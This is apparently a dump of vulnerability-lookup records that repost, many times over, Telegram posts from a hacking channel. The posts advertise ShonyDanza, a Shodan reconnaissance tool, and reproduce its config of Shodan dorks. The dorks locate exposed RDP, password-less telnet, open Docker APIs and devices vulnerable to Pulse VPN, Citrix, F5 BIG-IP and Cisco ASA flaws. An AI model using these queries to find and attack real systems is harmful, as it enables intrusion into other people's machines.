ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:01:58.167378Z"}, {"uuid": "fa6cde36-ae11-4929-bb1a-3b269c040a57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33339", "content": "KitPloit - PenTest Tools!\nShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nhttp://3.bp.blogspot.com/-HfvtRTCYnTM/YZ3QJbhSs3I/AAAAAAAA4AU/kC3BBy581dgTiAKCIDOlmGtohgCXuQhlgCK4BGAYYCw/w640-h524/ShonyDanza_1_shonydanza_demo-780791.gif A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installationgit clone https://github.com/fierceoj/ShonyDanza.gitRequirements\n\n* python3\n* shodan library cd ShonyDanzapip3 install -r requirements.txtUsageEdit config.py to include your desired configurations cd configssudo nano config.py#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0' Run cd ../python3 shonydanza.pySee this how-to article for additional usage instruction. Legal DisclaimerThis project is made for educational and ethical testing purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Download ShonyDanza\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:07.904144Z"}, {"uuid": "d01311a2-daa0-411b-9313-d922c24387c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33336", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n  With ShonyDanza, you can:    Obtain IPs based on search criteria  Automatically exclude honeypots from the results based on your pre-configured thresholds  Pre-configure all IP searches to filter on your specified net range(s)  Pre-configure search limits  Use build-a-search to craft searches with easy building blocks  Use stock searches and pre-configure your own stock searches  Check if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2s  Get host and domain profiles  Scan on-demand  Find exploits  Get total counts for searches and exploits  Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza    Installation  git clone https://github.com/fierceoj/ShonyDanza.git\n    Requirements      python3  shodan library    cd ShonyDanza\n  pip3 install -r requirements.txt  Usage    Edit config.py to include your desired configurations\n  cd configs\n  sudo nano config.py\n    #config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\n    Run \n  cd ../\n  python3 shonydanza.py\n    See this how-to article (https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/) for additional usage instruction.  Legal Disclaimer  This project is made for educational and ethical testing (https://www.kitploit.com/search/label/Testing) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.  \n\nDownload ShonyDanza (https://github.com/fierceoj/ShonyDanza)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:08.048538Z"}, {"uuid": "55a1c2f3-6c19-4dea-b4b5-9d5025c3b287", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "Telegram/795CHWfqDB8d387Ptvi9l1rsbPfOiWfhqBLWL_BanVVXFSs", "content": "", "creation_timestamp": "2026-09-02T01:00:10.798354Z"}, {"uuid": "83592f6f-5cc2-4758-af91-8baa2909f8b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/161896", "content": "How to manually hunt for F5 Big-IP RCE (CVE 2020\u20135902, CVE2022\u20131388)\nhttps://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:00:39.950146Z"}, {"uuid": "d03f2ddd-1047-4e21-aae5-a4a07d30e549", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/161898", "content": "Manual testing steps with shodan dork and python script to test via terminal.Continue reading on Medium \u00bb (https://medium.com/@josekuttykunnelthazhebinu/how-to-manually-hunt-for-f5-big-ip-rce-cve-2020-5902-cve2022-1388-da78fb0a562e?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:00:39.997008Z"}, {"uuid": "40069483-a5e2-4d8c-9034-b0572732c25e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33336", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n  With ShonyDanza, you can:    Obtain IPs based on search criteria  Automatically exclude honeypots from the results based on your pre-configured thresholds  Pre-configure all IP searches to filter on your specified net range(s)  Pre-configure search limits  Use build-a-search to craft searches with easy building blocks  Use stock searches and pre-configure your own stock searches  Check if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2s  Get host and domain profiles  Scan on-demand  Find exploits  Get total counts for searches and exploits  Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza    Installation  git clone https://github.com/fierceoj/ShonyDanza.git\n    Requirements      python3  shodan library    cd ShonyDanza\n  pip3 install -r requirements.txt  Usage    Edit config.py to include your desired configurations\n  cd configs\n  sudo nano config.py\n    #config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /   \"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\n    Run \n  cd ../\n  python3 shonydanza.py\n    See this how-to article (https://null-byte.wonderhowto.com/forum/to-use-shonydanza-find-target-and-exploit-0318883/) for additional usage instruction.  Legal Disclaimer  This project is made for educational and ethical testing (https://www.kitploit.com/search/label/Testing) purposes only. Usage of ShonyDanza for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.  \n\nDownload ShonyDanza (https://github.com/fierceoj/ShonyDanza)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:33.495305Z"}, {"uuid": "730c27b8-3a5d-46b6-8e0d-fc16a4ba6309", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/44140", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:06.954010Z"}, {"uuid": "e55f3b78-fc8f-4c40-a6d5-515ec6ca0360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/40562", "content": "Kali Linux Tutorials\nShonyDanza : A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\nShonyDanza is a customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\n\nWith ShonyDanza, you can:\n\n* Obtain IPs based on search criteria\n* Automatically exclude honeypots from the results based on your pre-configured thresholds\n* Pre-configure all IP searches to filter on your specified net range(s)\n* Pre-configure search limits\n* Use build-a-search to craft searches with easy building blocks\n* Use stock searches and pre-configure your own stock searches\n* Check if IPs are known malware C2s\n* Get host and domain profiles\n* Scan on-demand\n* Find exploits\n* Get total counts for searches and exploits\n* Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza\n\nInstallation\n\ngit clone https://github.com/fierceoj/ShonyDanza.git\n\nRequirements\n\n* python3\n* shodan library\n\ncd ShonyDanza\npip3 install -r requirements.txt\n\nUsage\n\nEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\n\nconfig file for shonydanza searches\nREQUIRED\nmaximum number of results that will be returned per search\ndefault is 100\nSEARCH_LIMIT = 100\nREQUIRED\nIPs exceeding the honeyscore limit will not show up in IP results\nscale is 0.0 to 1.0\nadjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\nHONEYSCORE_LIMIT = 1.0\nREQUIRED \u2013 at least one key: value pair\nadd a shodan dork to the dictionary below to add it to your shonydanza stock searches men\nsee https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\ncheck into \u201cvuln:\u201d filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\nSTOCK_SEARCHES = {\n\u2018ANONYMOUS_FTP\u2019:\u2019ftp anonymous ok\u2019,\n\u2018RDP\u2019:\u2019port:3389 has_screenshot:true\u2019,\n\u2018OPEN_TELNET\u2019:\u2019port:23 console gateway -password\u2019,\n\u2018APACHE_DIR_LIST\u2019:\u2019http.title:\u201dIndex of /\u201d\u2018,\n\u2018SPRING_BOOT\u2019:\u2019http.favicon.hash:116323821\u2032,\n\u2018HP_PRINTERS\u2019:'\u201dSerial Number:\u201d \u201cBuilt:\u201d \u201cServer: HP HTTP\u201d\u2018,\n\u2018DOCKER_API\u2019:'\u201dDocker Containers:\u201d port:2375\u2032,\n\u2018ANDROID_ROOT_BRIDGE\u2019:'\u201dAndroid Debug Bridge\u201d \u201cDevice\u201d port:5555\u2032,\n\u2018MONGO_EXPRESS_GUI\u2019:'\u201dSet-Cookie: mongo-express=\u201d \u201c200 OK\u201d\u2018,\n\u2018CVE-2019-11510_PULSE_VPN\u2019:\u2019http.html:/dana-na/\u2019,\n\u2018CVE-2019-19781_CITRIX_NETSCALER\u2019:\u2019http.waf:\u201dCitrix NetScaler\u201d\u2018,\n\u2018CVE-2020-5902_F5_BIGIP\u2019:\u2019http.favicon.hash:-335242539 \u201c3992\u201d\u2018,\n\u2018CVE-2020-3452_CISCO_ASA_FTD\u2019:\u2019200 \u201cSet-Cookie: webvpn;\u201d\u2018\n}\nOPTIONAL\nIP or cidr range constraint for searches that return list of IP addresses\nuse comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)\nNET_RANGE = \u20180.0.0.0/0\u2019\n\nRun\n\ncd ../\npython3 shonydanza.py\nDownload\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:20.588613Z"}, {"uuid": "9e6a725f-dcf7-4c87-bf48-ae0784688ccb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/36555", "content": "A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan.\nWith ShonyDanza, you can:Obtain IPs based on search criteriaAutomatically exclude honeypots from the results based on your pre-configured thresholdsPre-configure all IP searches to filter on your specified net range(s)Pre-configure search limitsUse build-a-search to craft searches with easy building blocksUse stock searches and pre-configure your own stock searchesCheck if IPs are known malware (https://www.kitploit.com/search/label/Malware) C2sGet host and domain profilesScan on-demandFind exploitsGet total counts for searches and exploitsAutomatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanzaInstallationgit clone https://github.com/fierceoj/ShonyDanza.git\nRequirementspython3shodan librarycd ShonyDanza\npip3 install -r requirements.txtUsageEdit config.py to include your desired configurations\ncd configs\nsudo nano config.py\ndictionary below to add it to your shonydanza stock searches menu #see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries #check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)  STOCK_SEARCHES = { 'ANONYMOUS_FTP':'ftp anonymous ok', 'RDP':'port:3389 has_screenshot:true', 'OPEN_TELNET':'port:23 console (https://www.kitploit.com/search/label/Console) gateway (https://www.kitploit.com/search/label/Gateway) -password', 'APACHE_DIR_LIST':'http.title:\"Index of /\"', 'SPRING_BOOT':'http.favicon.hash:116323821', 'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"', 'DOCKER_API':'\"Docker Containers:\" port:2375', 'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555', 'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"', 'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/', 'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"', 'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"', 'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"' }   #OPTIONAL #IP or cidr range constraint for searches that return list of IP addresses #use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4)   #NET_RANGE = '0.0.0.0/0' \">#config file for shonydanza searches\n\n#REQUIRED\n#maximum number of results that will be returned per search\n#default is 100\n\nSEARCH_LIMIT = 100\n\n\n#REQUIRED\n#IPs exceeding the honeyscore limit will not show up in IP results\n#scale is 0.0 to 1.0\n#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all results\n\nHONEYSCORE_LIMIT = 1.0\n\n\n#REQUIRED - at least one key: value pair\n#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu\n#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries\n#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)\n\nSTOCK_SEARCHES = {\n'ANONYMOUS_FTP':'ftp anonymous ok',\n'RDP':'port:3389 has_screenshot:true',\n'OPEN_TELNET':'port:23 console gateway -password',\n'APACHE_DIR_LIST':'http.title:\"Index of /\"',\n'SPRING_BOOT':'http.favicon.hash:116323821',\n'HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"',\n'DOCKER_API':'\"Docker Containers:\" port:2375',\n'ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555',\n'MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"',\n'CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/',\n'CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"',\n'CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"',\n'CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'\n}\n\n\n#OPTIONAL\n#IP or cidr range constraint for searches that return list of IP addresses\n#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) \n\n#NET_RANGE = '0.0.0.0/0'\nRun \ncd ../\npython3 shonydanza.py\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:23.231566Z"}, {"uuid": "10024c72-1855-4293-a8df-6d8b230d6251", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-5902", "type": "seen", "source": "https://t.me/hacking_Attack/33343", "content": "ShonyDanza - A Customizable, Easy-To-Navigate Tool For Researching, Pen Testing, And Defending With The Power Of Shodan\n\n A customizable, easy-to-navigate tool for researching, pen testing, and defending with the power of Shodan. With ShonyDanza, you can: Obtain IPs based on search criteria Automatically exclude honeypots from the results based on your pre-configured thresholds Pre-configure all IP searches to filter on your specified net range(s) Pre-configure search limits Use build-a-search to craft searches with easy building blocks Use stock searches and pre-configure your own stock searches Check if IPs are known malware C2s Get host and domain profiles Scan on-demand Find exploits Get total counts for searches and exploits Automatically save exploit code, IP lists, host profiles, domain profiles, and scan results to directories within ShonyDanza Installation git clone https://github.com/fierceoj/ShonyDanza.git Requirements python3 shodan library cd ShonyDanza pip3 install -r requirements.txt Usage Edit config.py to include your desired configurations cd configs sudo nano config.py #config file for shonydanza searches#REQUIRED#maximum number of results that will be returned per search#default is 100SEARCH_LIMIT = 100#REQUIRED#IPs exceeding the honeyscore limit will not show up in IP results#scale is 0.0 to 1.0#adjust to desired probability to restrict results by threshold, or keep at 1.0 to include all resultsHONEYSCORE_LIMIT = 1.0#REQUIRED - at least one key: value pair#add a shodan dork to the dictionary below to add it to your shonydanza stock searches menu#see https://github.com/jakejarvis/awesome-shodan-queries for a great source of queries#check into \"vuln:\" filter if you have Small Business Plan or higher (e.g., vuln:cve-2019-11510)STOCK_SEARCHES = {'ANONYMOUS_FTP':'ftp anonymous ok','RDP':'port:3389 has_screenshot:true','OPEN_TELNET':'port:23 console gateway -password','APACHE_DIR_LIST':'http.title:\"Index of / \"','SPRING_BOOT':'http.favicon.hash:116323821','HP_PRINTERS':'\"Serial Number:\" \"Built:\" \"Server: HP HTTP\"','DOCKER_API':'\"Docker Containers:\" port:2375','ANDROID_ROOT_BRIDGE':'\"Android Debug Bridge\" \"Device\" port:5555','MONGO_EXPRESS_GUI':'\"Set-Cookie: mongo-express=\" \"200 OK\"','CVE-2019-11510_PULSE_VPN':'http.html:/dana-na/','CVE-2019-19781_CITRIX_NETSCALER':'http.waf:\"Citrix NetScaler\"','CVE-2020-5902_F5_BIGIP':'http.favicon.hash:-335242539 \"3992\"','CVE-2020-3452_CISCO_ASA_FTD':'200 \"Set-Cookie: webvpn;\"'}#OPTIONAL#IP or cidr range constraint for searches that return list of IP addresses#use comma-separated list to designate multiple (e.g. 1.1.1.1,2.2.0.0/16,3.3.3.3,3.3.3.4) #NET_RANGE = '0.0.0.0/0' Run cd ../ python3 shonydanza.py See this how-to article for additional usage instruction. Legal Disclaimer This project is made for educational and ethical testing purposes only. Usage of 